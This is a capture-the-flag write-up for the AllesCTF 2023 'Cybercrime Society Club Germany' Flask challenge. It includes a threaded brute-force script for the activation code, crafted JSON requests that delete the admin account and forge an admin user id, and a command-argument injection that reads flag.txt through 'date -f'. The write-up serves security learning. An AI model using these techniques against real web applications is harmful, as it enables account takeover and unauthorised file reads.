# AllesCTF 2023## Cybercrime Society Club Germany
A Python Flask web challenge, with the flag in the same directory as the app. 
![screenshot of the home page of the challenge website with options to login and sign up](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/homepage.png)
Looking at the files, it stores user data in a json file, and judging by `admin.html`, it seems like there is an admin dashboard for privileged users.
![file structure of the challenge source code](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/challenge_file_structure.png)
### Users
The json store for users' data is controlled by the `UserDB` class in the `Userdb.py` file. It handles the logic for creating a new user, authentication, changing the email address, etc. For example, here is the admin authorisation method:
`Userdb.py````pydef is_admin(self, email):    user = self.db.get(email)    if user is None:        return False
    #TODO check userid type etc    return user["email"] == "[email protected]" and user["userid"] > 90000000```
To pass this check, the user has to have the admin's email and the user id has to be greater than 90 million.
### Admin dashboard
Speaking of the admin, the user database is initialized with the admin account, whose user id is set to `90,010,001`, and password to a random uuid (not bruteforceable).
`app.py````pyuserdb = UserDB("userdb.json")userdb.add_user("[email protected]", 9_001_0001, str(uuid())) ```
The admin dashboard html file only contains a form...
`templates/admin.html````html<form>    <form action="/admin">        <label for="cmd">cmd:</label>        <input type="text" id="cmd" name="cmd" value="date">        <input type="submit" value="Submit">    </form></form>```
...the results of which are sent to an API endpoint.
`templates/admin.html````html<script>    // [...]    function handleSubmit(event) {        event.preventDefault();        const data = new FormData(event.target);        sendToApi({            "action": "admin",            "data": {                "cmd": data.get('cmd')            }        });    }    // [...]</script>```
The API code is also located in `app.py`. It looks like it passes the form input to `suprocess.run()`, executing the command ([python docs](https://docs.python.org/3/library/subprocess.html#subprocess.run)) and returns the output of the command to the admin dashboard. Looks like the solution might be a reverse shell.
`app.py````pydef api_admin(data, user):    if user is None:        return error_msg("Not logged in")    is_admin = userdb.is_admin(user["email"])    if not is_admin:        return error_msg("User is not Admin")
    cmd = data["data"]["cmd"]    # currently only "date" is supported    if validate_command(cmd):        out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)        return success_msg(out.stdout.decode())
    return error_msg("invalid command")```
However, the `validate_command` function quickly shows us we don't have many options for commands to pass. It won't be as easy as `cat flag.txt`. Let's think about that later, we first need to figure out if it's even possible to gain admin privileges, for which we probably need an account.
`app.py````pydef validate_command(string):    return len(string) == 4 and string.index("date") == 0```
### Creating an account
Creating an account wasn't an obvious task.
![screenshot of the sign up page with fields: email, password, group dropdown, user id, and activation code](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/signup.png)
When submitting user details, the provided activation code is checked, and the account is created only if the check passes.
`app.py````pydef api_create_account(data, user):    dt = data["data"]    email = dt["email"]    password = dt["password"]    groupid = dt["groupid"]    userid=dt["userid"]    activation = dt["activation"]
    if email == "[email protected]":        return error_msg("cant create admin")
    assert(len(groupid) == 3)    assert(len(userid) == 4)
    userid = json.loads("1" + groupid + userid)    # print(dt)    # print(userid)
    if not check_activation_code(activation):  # <---- HERE        return error_msg("Activation Code Wrong")    # print("activation passed")
    if userdb.add_user(email, userid, password):        # print("user created")        return success_msg("User Created")    else:        return error_msg("User creation failed")```
The verification first waits for 20 seconds (to supposedly discourage bruteforcing) and then checks if the activation code provided contains a random 4-digit number.
`app.py````pydef check_activation_code(activation_code):    # no bruteforce    time.sleep(20)    if "{:0>4}".format(random.randint(0, 10000)) in activation_code:        return True    else:        return False```
Fortunately, there is no limit on the length of the activation code we can provide in the form. Giving a long activation code made up of digits 0-9 increases the odds that a random 4-digit number will be contained in it. I thought about using a superpermutation ([Wikipedia](https://en.wikipedia.org/wiki/Superpermutation) or [Greg Eagan's article](https://www.gregegan.net/SCIENCE/Superpermutations/Superpermutations.html)) to ensure the check always passes. But the quick and dirty solution of using a long activation code and trying it a lot in 20 threads at a time worked well enough. Here's the script I used:
`exploit/make_account.py````pyimport requestsimport randomimport threading
base_url = 'https://5ae393509ccec98005d31b00-1024-cybercrime-society-club-germany.challenge.master.camp.allesctf.net:31337'userid = '8476'groupid = '001'email = f'[email protected]'
def make_account(email, password, groupid, userid):    # create a long activation code    activation = '1234567890135791246801470258136959384950162738'    activation += str(reversed(activation))
    url = f'{base_url}/json_api'
    response = requests.post(url, json={        'action': 'create_account',        'data': {            'email': email,            'password': password,            'groupid': groupid,            'userid': userid,            'activation': activation        }    })
    # return None if and only if the account wasn't created    result = response.json()    if 'return' in result:        if result['return'] == 'Error':            if 'message' in result and result['message'] != "Activation Code Wrong":                print('\nUnexpected error in response:', response.text)            return None        else:            return result    return None
print(f'Making account with userid {userid} and email {email}')found = False
def attempt():    # try to create an account 10 times    # (each try takes 20 seconds)    global found    for try_number in range(10):        if found:            return        result = make_account(email, '1234', groupid, str(userid))        if result is not None:            found = True            print('*', end='', flush=True)        else:                print(try_number, end='', flush=True)
# run one attempt in each 20 threadsnum_threads = 20threads = []
for num_thread in range(num_threads):    thread = threading.Thread(target=attempt)    thread.start()    threads.append(thread)
for thread in threads:    thread.join()
if found:    print('\nSuccess!')else:    print('\nFailure')```
It took about a minute to create the account, the output of the program was:
```$ python3 make_account.py Making account with userid 8476 and email [email protected]0000000000111111111122 2222222233*333333344Success!```
I could then log in to an account with the email [email protected] and password 1234.
![screenshot of the login page with email and password filled in](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/log_in_as_user.png)
### We're in (not in the cool way yet)
Logging in, we're presented with the user home page.
![screenshot of the user home page with links to account settings and to log out](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/normal_user_home_page.png)
Here's the settings page:
![screenshot of the settings page with an interface to change the email address or delete the account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/account_settings.png)
Now that we're here, let's take a look at what the API can do for us.
`app.py````pyactions = {    "delete_account": api_delete_account,    "create_account": api_create_account,    "edit_account": api_edit_account,    "login": api_login,    "logout": api_logout,    "error": api_error,    "admin": api_admin,}
@app.route("/json_api", methods=["GET", "POST"])def json_api():    user = get_user(request)    if request.method == "POST":        data = json.loads(request.get_data().decode())        # print(data)        action = data.get("action")        if action is None:            return "missing action"
        return actions.get(action, api_error)(data, user)
    else:        return json.dumps(user)
```
We already know the `create_account` and `admin` actions. The actions `login`, `logout`, and `error` don't offer anything interesting for our purpose. The remaining ones are:- `edit_account`- `delete_account`
#### `edit_account`
The `edit_account` action is used by the form for changing the email address of the logged in account (screenshot above).
`app.py````pydef api_edit_account(data, user):    if user is None:        return error_msg("not logged in")     new = data["data"]["email"]
    if userdb.change_user_mail(user["email"], new):        return success_msg("Success")    else:        return error_msg("Fail")```
`Userdb.py````pydef change_user_mail(self, old, new):    user = self.db.get(old)    if user is None:        return False    if self.db.get(new) is not None:        print("account exists")        return False
    user["email"] = new    del self.db[old]    self.db[new] = user    self.save_db()    return True```
The only checks in place are to see if the logged in user's email exists in the database and if the new email isn't already used by another user. Note that it doesn't prevent changing the user's email to the admin email. That is, if the admin's email, or entire user, doesn't exist in the database... Maybe we can delete the admin account?
#### `delete_account`
`app.py````pydef api_delete_account(data, user):    if user is None:        return error_msg("not logged in")
    if data["data"]["email"] != user["email"]:        return error_msg("Hey thats not your email!")
    # print(list(data["data"].values()))    if delete_accs(data["data"].values()):        return success_msg("deleted account")```
Here, the validation checks if the logged in user's email matches the email in the request. But then it passes all `data["data"].values()` for deletion. This means that the check happens only on `data["data"]["email"]`, so if we provide another key-value pair in the request in `data["data"]`, its value will be passed to `delete_accs(data["data"].values())` too.
`app.py````pydef delete_accs(emails):    for email in emails:        userdb.delete_user(email)    return True```
`Userdb.py````pydef delete_user(self, email):    if self.db.get(email) is None:        print("user doesnt exist")        return False    del self.db[email]    self.save_db()    return True```
### Let's become the admin
There is no protection against providing the admin's email address. Let's use this finding to to delete the admin account.
#### Deleting the admin account
Let's go to the Settings page again, turn on network monitoring in Firefox, and click submit on "Change Email".
![screenshot of the settings page with an interface to change the email address or delete the account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/account_settings.png)
The request was:```json{"action":"edit_account","data":{"email":"[email protected]"}}```
and the response:
```json{"return": "Error","message": "Fail"}```
(we got an error because our email already exists in the database).
We can then right click on that request, choose "Edit and resend", and change the request to delete the admin account. This will also delete our account, so we only have one try at this (without bruteforcing another account).
Request:```json{"action":"delete_account","data":{"email":"[email protected]", "other_email": "[email protected]"}}```
Response:```json{"return": "Success","message": "deleted account"}```
#### Becoming the admin
Now that the admin account has been deleted from the database, we can create a new account with a dummy email (account creation prevents using the admin's email), and then change the account email to the admin email in the settings.
However, there is one caveat. Here's the admin authentication code from `UserDB` I referenced at the beginning:
`Userdb.py````pydef is_admin(self, email):    user = self.db.get(email)    if user is None:        return False
    #TODO check userid type etc    return user["email"] == "[email protected]" and user["userid"] > 90000000```
Our new user's `userid` needs to be greater than 90 million. Let's see the account creation code again, but only the parts relevant to the user id.
`app.py````pydef api_create_account(data, user):    # [...]
    groupid = dt["groupid"]    userid=dt["userid"]     # [...]
    assert(len(groupid) == 3)    assert(len(userid) == 4)
    userid = json.loads("1" + groupid + userid)
    # [...]
    if userdb.add_user(email, userid, password):        # [...]```
1. `groupid` comes from the request and it needs to be 3 characters long 1. `userid` also comes from the request and it needs to be 4 characters long 1. they are both used to create the database user id with `json.loads()`1. which is used to add the user to the database
The weird way of creating the user id with no other validation...```pyuserid = json.loads("1" + groupid + userid)```...means we can try using those fields to create valid json parsing to something greater than 90 million.
Setting `groupid` to `000` and `userid` to `0000` is not enough - that would evaluate into only 10 million.```py>>> json.loads('1'+'000'+'0000') > 90_000_000False```
Fortunately, json allows scientific notation for numbers. I tried setting `groupid` to `e10` and `userid` to four spaces (whitespace is ignored) and it worked.```py>>> json.loads('1'+'e10'+'    ') > 90_000_000True```
Now I only need to modify the account creation code above to use those values and run it again.
```Making account with userid      and email [email protected]000000000000000000001111111111111111111122222222222222222222333333333333333333334444444444444444444455*5555555555555555566Success!```
![logging in with the newly created account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/future_admin_account_login.png)
Logging in still shows the normal homepage - our email ([email protected]) is still not the admin email ([email protected]).
![screenshot of the user home page with links to account settings and to log out](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/normal_user_home_page.png)
We should be able to change the email address in the settings.
![screenshot of the user settings page, changing the email address to the admin's email address](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/future_admin_email_after.png)
Clicking submit brings us back to the home page, but now we have the link to the admin page.
![screenshot of the user home page with links to account settings, to log out, and to the admin dashboard](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/admin_homepage.png)
### We're in
The admin page has a field for the command and a submit button.
![screenshot of the admin dashboard with a command text field and a submit button](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/admin_dashboard_date.png)
As we saw earlier, the command is validated to only allow the `date` command.
`app.py````pydef api_admin(data, user):    if user is None:        return error_msg("Not logged in")    is_admin = userdb.is_admin(user["email"])    if not is_admin:        return error_msg("User is not Admin")
    cmd = data["data"]["cmd"]    # currently only "date" is supported    if validate_command(cmd):        out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)        return success_msg(out.stdout.decode())
    return error_msg("invalid command")```
`app.py````pydef validate_command(string):    return len(string) == 4 and string.index("date") == 0```
However, nothing prevents us from passing a list of 4 values, the first being `date`.
```py>>> def validate_command(string):...     return len(string) == 4 and string.index("date") == 0... >>> validate_command(['date', 'a', 'b', 'c'])True```
The way `subprocess.run(args)` works, if `args` is a list, the first element is going to be the command that's executed, and the remaining ones are given used as commandline arguments for it. We still can't cat the flag.I needed to read up on the `date` command, to see if I can find any parameters to pass that would reveal the flag, and I found the solution.First, we can make `date` take input from a file with `-f filename`. But that only uses up 3 elements. I needed a flag that doesn't need any arguments, and found `-u`.
```$ date --helpUsage: date [OPTION]... [+FORMAT]  or:  date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]Display date and time in the given FORMAT.With -s, or with [MMDDhhmm[[CC]YY][.ss]], set the date and time.
Mandatory arguments to long options are mandatory for short options too.  -d, --date=STRING          display time described by STRING, not 'now'      --debug                annotate the parsed date,                              and warn about questionable usage to stderr  -f, --file=DATEFILE        like --date; once for each line of DATEFILE  -I[FMT], --iso-8601[=FMT]  output date/time in ISO 8601 format.                               FMT='date' for date only (the default),                               'hours', 'minutes', 'seconds', or 'ns'                               for date and time to the indicated precision.                               Example: 2006-08-14T02:34:56-06:00  --resolution               output the available resolution of timestamps                               Example: 0.000000001  -R, --rfc-email            output date and time in RFC 5322 format.                               Example: Mon, 14 Aug 2006 02:34:56 -0600      --rfc-3339=FMT         output date/time in RFC 3339 format.                               FMT='date', 'seconds', or 'ns'                               for date and time to the indicated precision.                               Example: 2006-08-14 02:34:56-06:00  -r, --reference=FILE       display the last modification time of FILE  -s, --set=STRING           set time described by STRING  -u, --utc, --universal     print or set Coordinated Universal Time (UTC)      --help        display this help and exit      --version     output version information and exit```
The original request was:```json{"action":"admin","data":{"cmd":"date"}}```
And the response was:```json{"return": "Success", "message": "Wed Aug 16 21:24:36 UTC 2023\n"}```
Using the "Edit and resend" tool in Firefox again to change the request:```json{"action":"admin","data":{"cmd":["date", "-f", "flag.txt", "-u"]}}```
Produces to this response:```json{"return": "Success", "message": "date: invalid date \u2018ALLES!{js0n_b0urn3_str1kes_ag4in!}\u2019\n"}```
Which finally gives us the flag:
```ALLES!{js0n_b0urn3_str1kes_ag4in!}```